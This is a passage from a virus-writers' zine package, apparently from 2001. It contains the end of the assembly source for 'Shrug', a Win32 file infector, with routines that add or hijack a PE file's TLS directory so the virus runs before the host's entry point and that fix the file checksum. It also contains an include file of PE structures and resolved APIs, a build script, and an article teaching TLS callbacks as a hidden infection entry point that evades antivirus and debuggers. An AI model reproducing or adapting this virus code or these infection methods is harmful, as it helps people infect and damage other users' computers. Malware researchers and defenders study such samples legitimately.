|
mov ecx, dword ptr [eax]
|
|
jecxz store_func
|
|
sub ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|
call rva2raw
|
|
add edx, ecx ;do not combine
|
|
mov ecx, dword ptr [edx] ;current edx used by alter_func
|
|
|
|
;it is impossible if it passes unattempted
|
|
|
|
store_func label near
|
|
test ecx, ecx
|
|
pop ecx
|
|
xchg ecx, eax
|
|
jne alter_func
|
|
add eax, offset tlsdata.tlsfunc - offset shrug_tlscode
|
|
mov dword ptr [ecx], eax
|
|
add edi, offset tlsdata.tlsfiller - offset shrug_tlscode
|
|
jmp set_funcptr
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;the only time that the section attributes are altered is when a TLS directory
|
|
;is created. at that time, a writable dword must be available for the index.
|
|
;the alternative is to search for a writable section with virtual size > raw
|
|
;size, set index pointer to that address and reinitialise it to zero in code
|
|
;-----------------------------------------------------------------------------
|
|
|
|
add_tlsdir label near
|
|
or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h
|
|
add eax, offset tlsdata - offset shrug_tlscode
|
|
mov dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax
|
|
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|
add eax, offset tlsdata.tlsflags - offset tlsdata
|
|
add edi, offset tlsdata.tlsindex - offset shrug_tlscode
|
|
stos dword ptr [edi]
|
|
add eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags
|
|
stos dword ptr [edi]
|
|
|
|
set_funcptr label near
|
|
scas dword ptr [edi]
|
|
scas dword ptr [edi]
|
|
add eax, offset shrug_dllcode - offset tlsdata.tlsfunc
|
|
stos dword ptr [edi]
|
|
|
|
checksum_file label near
|
|
pop edi
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
|
|
;-----------------------------------------------------------------------------
|
|
|
|
xor ecx, ecx
|
|
xchg dword ptr [ebx], ecx
|
|
jecxz infect_ret
|
|
xor eax, eax
|
|
pop ecx
|
|
push ecx
|
|
inc ecx
|
|
shr ecx, 1
|
|
clc
|
|
|
|
calc_checksum label near
|
|
adc ax, word ptr [edi]
|
|
inc edi
|
|
inc edi
|
|
loop calc_checksum
|
|
pop dword ptr [ebx]
|
|
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
|
|
|
|
infect_ret label near
|
|
int 3 ;common exit using SEH
|
|
db "*4U2NV*" ;that is, unless you're reading this
|
|
test_infect endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;convert relative virtual address to raw file offset
|
|
;-----------------------------------------------------------------------------
|
|
|
|
rvaloop label near
|
|
sub esi, size pesect
|
|
cmp al, 'R' ;mask PUSH ESI
|
|
org $ - 1
|
|
rva2raw proc near ;ecx = RVA, esi -> last section header
|
|
push esi
|
|
cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
|
|
jnbe rvaloop
|
|
sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|
add ecx, dword ptr [esi]
|
|
pop esi
|
|
ret
|
|
rva2raw endp
|
|
|
|
;When last comes to last,
|
|
; I have little power:
|
|
; I am merely an urn.
|
|
;I hold the bone-sap of myself,
|
|
; And watch the marrow burn.
|
|
;
|
|
;When last comes to last,
|
|
; I have little strength:
|
|
; I am only a tool.
|
|
;I work its work; and in its hands
|
|
; I am the fool.
|
|
;
|
|
;When last comes to last,
|
|
; I have little life.
|
|
; I am simply a deed:
|
|
;an action done while courage holds:
|
|
; A seed.
|
|
;(Stephen Donaldson)
|
|
|
|
shrug_codeend label near
|
|
shrug_common endp
|
|
shrug_dllcode endp
|
|
shrug_tlscode endp
|
|
end dropper
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
|
|
MAX_PATH equ 260
|
|
|
|
DLL_PROCESS_ATTACH equ 1
|
|
DLL_THREAD_ATTACH equ 2
|
|
|
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
|
FILE_FLAG_RANDOM_ACCESS equ 10000000h
|
|
|
|
GMEM_FIXED equ 0000h
|
|
|
|
OPEN_EXISTING equ 3
|
|
|
|
GENERIC_WRITE equ 40000000h
|
|
GENERIC_READ equ 80000000h
|
|
|
|
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
|
|
|
|
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
|
|
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
|
|
IMAGE_FILE_32BIT_MACHINE equ 0100h
|
|
IMAGE_FILE_SYSTEM equ 1000h
|
|
IMAGE_FILE_DLL equ 2000h
|
|
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
|
|
|
|
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
|
|
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
|
|
|
|
IMAGE_SCN_MEM_WRITE equ 80000000h
|
|
|
|
RANDPADMIN equ 4096
|
|
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
|
|
|
|
SECTION_MAP_WRITE equ 0002h
|
|
|
|
FILE_MAP_WRITE equ SECTION_MAP_WRITE
|
|
|
|
PAGE_READWRITE equ 04
|
|
|
|
align 1 ;byte-packed structures
|
|
krncrcstk struct
|
|
kSfcIsFileProtected dd ? ;appended from other location
|
|
kUnmapViewOfFile dd ?
|
|
kSetFileTime dd ?
|
|
kSetFileAttributesW dd ?
|
|
kSetFileAttributesA dd ?
|
|
kSetCurrentDirectoryW dd ?
|
|
kSetCurrentDirectoryA dd ?
|
|
kMultiByteToWideChar dd ?
|
|
kMapViewOfFile dd ?
|
|
kLoadLibraryA dd ?
|
|
kGlobalFree dd ?
|
|
kGlobalAlloc dd ?
|
|
kGetVersion dd ?
|
|
kGetTickCount dd ?
|
|
kGetFullPathNameW dd ?
|
|
kGetFullPathNameA dd ?
|
|
kFindNextFileW dd ?
|
|
kFindNextFileA dd ?
|
|
kFindFirstFileW dd ?
|
|
kFindFirstFileA dd ?
|
|
kFindClose dd ?
|
|
kCreateFileMappingA dd ?
|
|
kCreateFileW dd ?
|
|
kCreateFileA dd ?
|
|
kCloseHandle dd ?
|
|
krncrcstk ends
|
|
krncrc_count equ (size krncrcstk - 4) shr 2
|
|
|
|
tlsstruc struct
|
|
tlsrawbeg dd ?
|
|
tlsrawend dd ?
|
|
tlsindex dd ?
|
|
tlsfuncptr dd ?
|
|
tlsfiller dd ?
|
|
tlsflags dd ?
|
|
tlsfunc dd 2 dup (?)
|
|
tlsstruc ends
|
|
|
|
initstk struct
|
|
initret dd ?
|
|
initDLLHandle dd ?
|
|
initReason dd ?
|
|
initReserved dd ?
|
|
initstk ends
|
|
|
|
sehstruc struct
|
|
sehkrnlret dd ?
|
|
sehexcptrec dd ?
|
|
sehprevseh dd ?
|
|
sehstruc ends
|
|
|
|
FILETIME struct
|
|
dwLowDateTime dd ?
|
|
dwHighDateTime dd ?
|
|
FILETIME ends
|
|
|
|
WIN32_FIND_DATA struct
|
|
dwFileAttributes dd ?
|
|
ftCreationTime FILETIME <?>
|
|
ftLastAccessTime FILETIME <?>
|
|
ftLastWriteTime FILETIME <?>
|
|
dwFileSizeHigh dd ?
|
|
dwFileSizeLow dd ?
|
|
dwReserved0 dd ?
|
|
dwReserved1 dd ?
|
|
cFileName dw 260 dup (?)
|
|
cAlternateFileName dw 14 dup (?)
|
|
WIN32_FIND_DATA ends
|
|
|
|
findlist struct
|
|
findprev dd ?
|
|
findhand dd ?
|
|
finddata WIN32_FIND_DATA <?>
|
|
findlist ends
|
|
|
|
coffhdr struct
|
|
pemachine dw ? ;04
|
|
pesectcount dw ? ;06
|
|
petimedate dd ? ;08
|
|
pesymbrva dd ? ;0C
|
|
pesymbcount dd ? ;10
|
|
peopthdrsize dw ? ;14
|
|
peflags dw ? ;16
|
|
coffhdr ends
|
|
|
|
pedir struct
|
|
dirrva dd ?
|
|
dirsize dd ?
|
|
pedir ends
|
|
|
|
pehdr struct
|
|
pesig dd ? ;00
|
|
pecoff coffhdr <?>
|
|
pemagic dw ? ;18
|
|
pemajorlink db ? ;1A
|
|
peminorlink db ? ;1B
|
|
pecodesize dd ? ;1C
|
|
peidatasize dd ? ;20
|
|
peudatasize dd ? ;24
|
|
peentrypoint dd ? ;28
|
|
pecodebase dd ? ;2C
|
|
pedatabase dd ? ;30
|
|
peimagebase dd ? ;34
|
|
pesectalign dd ? ;38
|
|
pefilealign dd ? ;3C
|
|
pemajoros dw ? ;40
|
|
peminoros dw ? ;42
|
|
pemajorimage dw ? ;44
|
|
peminorimage dw ? ;46
|
|
pemajorsubsys dw ? ;48
|
|
peminorsubsys dw ? ;4A
|
|
pereserved dd ? ;4C
|
|
peimagesize dd ? ;50
|
|
pehdrsize dd ? ;54
|
|
pechksum dd ? ;58
|
|
pesubsys dw ? ;5C
|
|
pedllflags dw ? ;5E
|
|
pestackmax dd ? ;60
|
|
pestacksize dd ? ;64
|
|
peheapmax dd ? ;68
|
|
peheapsize dd ? ;6C
|
|
peldrflags dd ? ;70
|
|
pervacount dd ? ;74
|
|
peexport pedir <?> ;78
|
|
peimport pedir <?> ;80
|
|
persrc pedir <?> ;88
|
|
peexcpt pedir <?> ;90
|
|
pesecurity pedir <?> ;98
|
|
pereloc pedir <?> ;A0
|
|
pedebug pedir <?> ;A8
|
|
pearch pedir <?> ;B0
|
|
peglobal pedir <?> ;B8
|
|
petls pedir <?> ;C0
|
|
peconfig pedir <?> ;C8
|
|
pebound pedir <?> ;D0
|
|
peiat pedir <?> ;D8
|
|
pedelay pedir <?> ;E0
|
|
pecom pedir <?> ;E8
|
|
persrv pedir <?> ;F0
|
|
pehdr ends
|
|
|
|
peexp struct
|
|
expflags dd ?
|
|
expdatetime dd ?
|
|
expmajorver dw ?
|
|
expminorver dw ?
|
|
expdllrva dd ?
|
|
expordbase dd ?
|
|
expadrcount dd ?
|
|
expnamecount dd ?
|
|
expadrrva dd ?
|
|
expnamerva dd ?
|
|
expordrva dd ?
|
|
peexp ends
|
|
|
|
mzhdr struct
|
|
mzsig dw ? ;00
|
|
mzpagemod dw ? ;02
|
|
mzpagediv dw ? ;04
|
|
mzrelocs dw ? ;06
|
|
mzhdrsize dw ? ;08
|
|
mzminalloc dw ? ;0A
|
|
mzmaxalloc dw ? ;0C
|
|
mzss dw ? ;0E
|
|
mzsp dw ? ;10
|
|
mzchksum dw ? ;12
|
|
mzip dw ? ;14
|
|
mzcs dw ? ;16
|
|
mzreloff dw ? ;18
|
|
mzfiller db 22h dup (?) ;1A
|
|
mzlfanew dd ? ;3C
|
|
mzhdr ends
|
|
|
|
pesect struct
|
|
sectname db 8 dup (?)
|
|
sectvirtsize dd ?
|
|
sectvirtaddr dd ?
|
|
sectrawsize dd ?
|
|
sectrawaddr dd ?
|
|
sectreladdr dd ?
|
|
sectlineaddr dd ?
|
|
sectrelcount dw ?
|
|
sectlinecount dw ?
|
|
sectflags dd ?
|
|
pesect ends
|
|
|
|
mapsehstk struct
|
|
mapsehprev dd ?
|
|
mapsehexcpt dd ?
|
|
mapsehregs dd 8 dup (?)
|
|
mapsehsehret dd ?
|
|
mapsehinfret dd ?
|
|
mapsehstk ends
|
|
|
|
mapstack struct
|
|
mapfilesize dd ?
|
|
mapmapret dd ?
|
|
mapinfret dd ?
|
|
mapattrib dd ?
|
|
mapstack ends
|
|
|
|
infectstk struct
|
|
infdelta dd ?
|
|
infmapview dd ?
|
|
inffilesize dd ?
|
|
infseh mapsehstk <?>
|
|
infectstk ends
|
|
align ;restore default alignment
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
|
|
Thread Local Storage
|
|
The hidden entry point
|
|
roy g biv / defjam
|
|
|
|
-= defjam =-
|
|
since 1992
|
|
bringing you the viruses of tomorrow
|
|
today!
|
|
|
|
|
|
Prologue:
|
|
|
|
Please excuse my English. I'm still learning.
|
|
|
|
|
|
About the author:
|
|
|
|
Former DOS/Win16 virus writer, author of several virus families, including
|
|
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
|
|
sources ;), and Virus Bulletin 9/95 for a description of what they called
|
|
Rainbow. Co-author of world's first virus using circular partition trick
|
|
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
|
|
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
|
|
rest is swapped out). Author of various retrovirus articles (eg see Vlad #7
|
|
for the strings that make your code invisible to TBScan). Went to sleep for a
|
|
number of years. This is my first virus for Win32. It is the world's first
|
|
virus using Thread Local Storage for replication. It took me a week to design
|
|
it and a whole day to write it.
|
|
|
|
I'm also available for joining a group. Just in case anyone is interested. ;)
|
|
|
|
|
|
What is Thread Local Storage?
|
|
|
|
This is what Microsoft has to say about it:
|
|
"The .tls section provides direct PE/COFF support for static Thread Local
|
|
Storage (TLS). TLS is a special storage class supported by Windows NT. To
|
|
support this programming construct, the PE/COFF .tls section specifies the
|
|
following information: initialization data, callback routines for per-thread
|
|
initialization and termination, and the TLS index".
|
|
|
|
So, Thread Local Storage (TLS) is a Microsoft invention for applications that
|
|
need to initialise thread data before main execution begins. To do this,
|
|
there are callback pointers. These functions execute before the code at the
|
|
main entry point! To prove that, load my example code into any debugger and
|
|
see what happens. Ho ho, we even fool SoftIce for NT, the god of debuggers.
|
|
Clearly, this is a new way for viruses to run and probably the AVers don't
|
|
know about it yet, or if they do then they don't support it because no viruses
|
|
use it (maybe they said that about NTFS alternative streams too).
|
|
|
|
Some points now:
|
|
We can ignore the reference to .tls because there is a field in the PE header
|
|
that points to this structure anywhere in the file. Unfortunately, it's true
|
|
that it works only under Windows NT/2000/XP. Under Windows 9x/Me, simply
|
|
nothing happens and those functions never receive control. At least it
|
|
doesn't crash. :) Also, NT/2000/XP require import section that imports dll
|
|
that uses kernel32 APIs, else a page fault occurs. This appears to be a bug.
|
|
|
|
The callback functions have the same parameters as a DLL entry-point function,
|
|
except that nothing is returned. The declaration looks like this:
|
|
|
|
typedef VOID (NTAPI *PIMAGE_TLS_CALLBACK)
|
|
(PVOID DllHandle, DWORD Reason, PVOID Reserved);
|
|
|
|
This means that there are three parameters on the stack, so TLS functions must
|
|
use RET 000Ch on exit. The Reason parameter can take the following values:
|
|
|
|
Setting Value Description
|
|
DLL_PROCESS_ATTACH 1 New process has started
|
|
DLL_THREAD_ATTACH 2 New thread has been created
|
|
DLL_THREAD_DETACH 3 Thread is about to be terminated
|
|
DLL_PROCESS_DETACH 0 Process is about to terminate
|
|
|
|
The DLL_PROCESS_ATTACH and DLL_PROCESS_DETACH messages mean that we are called
|
|
for the host startup (after CreateProcess() but before process entry point)
|
|
and shutdown (from within ExitProcess()), and the DLL_THREAD_ATTACH and
|
|
DLL_THREAD_DETACH mean that we are called for thread startup (after
|
|
CreateThread() but before thread entry point) and shutdown (from within
|
|
ExitThread()). This happens for EXEs and also DLLs (but only DLLs that are
|
|
not loaded with LoadLibrary). No need to hook ExitProcess() anymore because
|
|
we will be called by ExitProcess() automatically.
|
|
|
|
It is important to know that NTDLL.DLL (not KERNEL32.DLL!) calls the callback
|
|
functions, and that kernel32.dll is not in the SEH chain when the ATTACH
|
|
messages are sent, only when the DETACH messages are sent. Thus, if you need
|
|
to call kernel32.dll APIs from an ATTACH message, then you cannot use a SEH
|
|
walker to find kernel32.dll image base. The good thing is that the import
|
|
table is filled already, so you can use the host imports.
|
|
|
|
|
|
What does TLS look like?
|
|
|
|
At offset 0xC0 in the PE header is the pointer to the TLS directory.
|
|
According to Microsoft documentation, the TLS directory has the format:
|
|
|
|
Offset Size Field Description
|
|
0x00 4 Raw Data Start VA Starting address of the TLS template
|
|
0x04 4 Raw Data End VA Address of last byte of TLS template
|
|
0x08 4 Address of Index Location to receive the TLS index
|
|
0x0C 4 Address of Callbacks Pointer to array of TLS callbacks
|
|
0x10 4 Size of Zero Fill Size of unused data in TLS template
|
|
0x14 4 Characteristics (reserved but not checked)
|
|
|
|
Notice that the pointers are all virtual addresses (VA), not relative virtual
|
|
addresses (RVA). This means that if we add a TLS directory, we should also
|
|
add relocation items to the .reloc section, or simply remove all relocations.
|
|
The reason for this is that if the file is loaded to a different base address,
|
|
then Windows NT/2000 will display the message box "The application failed to
|
|
initialize correctly" and the file will not execute anymore.
|
|
|
|
|
|
What do the TLS fields mean?
|
|
|
|
The TLS template contains data that are copied whenever a thread is created.
|
|
These data can also be executable codes. If the template exists (it is
|
|
optional and so the fields can be null) then when the application starts,
|
|
Windows will allocate an array for the TLS pointers and store this pointer at
|
|
fs:0x2c. For each thread that is created, the size of the template is
|
|
allocated from the local heap, the data are copied to there, the pointer is
|
|
stored in the array, and the array index is stored in the TLS index field. A
|
|
thread can get its pointer by this formula:
|
|
dword at (dword at fs:[0x2c] + (TLS index * 4))
|
|
Or some code:
|
|
mov eax, dword ptr fs:[2ch] ;get pointer to array of TLS pointers
|
|
mov ecx, dword ptr [offset TLSIndex] ;get TLS index
|
|
mov eax, dword ptr [ecx * 4 + eax] ;get pointer to TLS data
|
|
then access data at [eax + offset]
|
|
|
|
The Address of Callbacks field contains the Virtual Address of an null-
|
|
terminated array of functions that receive the ATTACH/DETACH messages. It is
|
|
valid to have no entries in this array. In that case, the field is supposed
|
|
to point to four zero bytes, however the actual field can also be null.
|
|
|
|
|
|
How to use TLS?
|
|
|
|
There are a few simple ways to use TLS to infect a file:
|
|
add a callback pointer to existing array (or create new array)
|
|
alter one of the host callback pointers
|
|
alter the code in one of the callbacks
|
|
create a new TLS directory
|
|
hijack the TLS template and alter some code somewhere in the file
|
|
|
|
If you want to use the TLS method to infect a file, firstly check if a TLS
|
|
directory exists already. If it does, then you can pick at random a callback
|
|
routine pointer and change it to point to your code. If there is no existing
|
|
TLS directory, then add one by setting correctly the pointers in your own
|
|
version. The template addresses can be set to null and the index pointer can
|
|
point to any writable dword (including the Characteristics field because it is
|
|
not used). The callback pointer will point to the array of callback routine
|
|
pointers, one of which will be the virus entry point. When this entry point
|
|
receives control, the file is loaded fully into memory and the import table is
|
|
fixed up. This means that we can do anything that we would do normally, like
|
|
go resident or call API functions and spread to other files. The main
|
|
difference is that we are guaranteed to be called at least twice, once on
|
|
startup and once on shutdown, and twice more for every thread that the host
|
|
uses. This means that we must be careful to avoid recursion because we will
|
|
also be called if we use threads in our virus code.
|
|
|
|
Hijacking the TLS template is a technique that I discovered some time later
|
|
during my research. The idea is to make a copy of the TLS template and add
|
|
the virus code to it. When the process starts (or a thread is created), then
|
|
the virus code is copied by Windows into the heap. This means that the code
|
|
is automatically placed into a executable and writable memory space, without
|
|
any call to malloc or memcopy. The only thing that is required after that is
|
|
to transfer control to the code on the heap. That is done by using the TLS
|
|
index to get the heap pointer.
|
|
|
|
The transfer of control code would look something like this:
|
|
this code is in the file:
|
|
fib:
|
|
push eax
|
|
push ecx
|
|
mov eax, dword ptr fs:[2ch]
|
|
mov ecx, dword ptr [offset tls_index]
|
|
mov eax, dword ptr [ecx * 4 + eax]
|
|
add eax, size of original TLS template
|
|
call eax
|
|
fie:
|
|
|
|
this code is on the heap:
|
|
pop eax ;get return address
|
|
pop ecx ;restore original ecx
|
|
sub eax, fie - fib ;point to first byte of code in file
|
|
xchg eax, [esp] ;store real return address and restore original eax
|
|
pushad ;now save all original registers
|
|
;rest of code is here. do not forget to restore host bytes
|
|
popad ;restore all registers
|
|
ret ;return to host
|
|
|
|
|
|
Epilogue:
|
|
|
|
Now you want to look at my example code and then to make your own examples.
|
|
There are many possibilities with this technique that make it very
|
|
interesting. It is easy when you know how. Just use your imagination.
|
|
|
|
TLSDemo1 has an inserted TLS directory and code that displays message box.
|
|
This code runs before main entry point.
|
|
|
|
TLSDemo2 has a hijacked TLS template and code that displays message box.
|
|
This code jumps from main entry point to heap without malloc or memcopy.
|
|
|
|
|
|
Greets to the old Defjam crew:
|
|
|
|
Prototype, RTFishel, Obleak, and The Gingerbread Man
|
|
|
|
|
|
rgb/dj jan 2001
|
|
iam_rgb@hotmail.com
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[TLS.TXT]ÄÄÄ
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
|
|
@echo off
|
|
if %1.==. goto usage
|
|
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
|
|
if errorlevel 1 goto end
|
|
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
|
|
del %1.obj
|
|
goto end
|
|
|
|
:usage
|
|
echo.
|
|
echo Usage: MAKE filename
|
|
echo eg. MAKE SHRUG
|
|
echo requires %tasm32% set to TASM directory (eg C:\TASM)
|
|
|
|
:end
|
|
echo.
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
|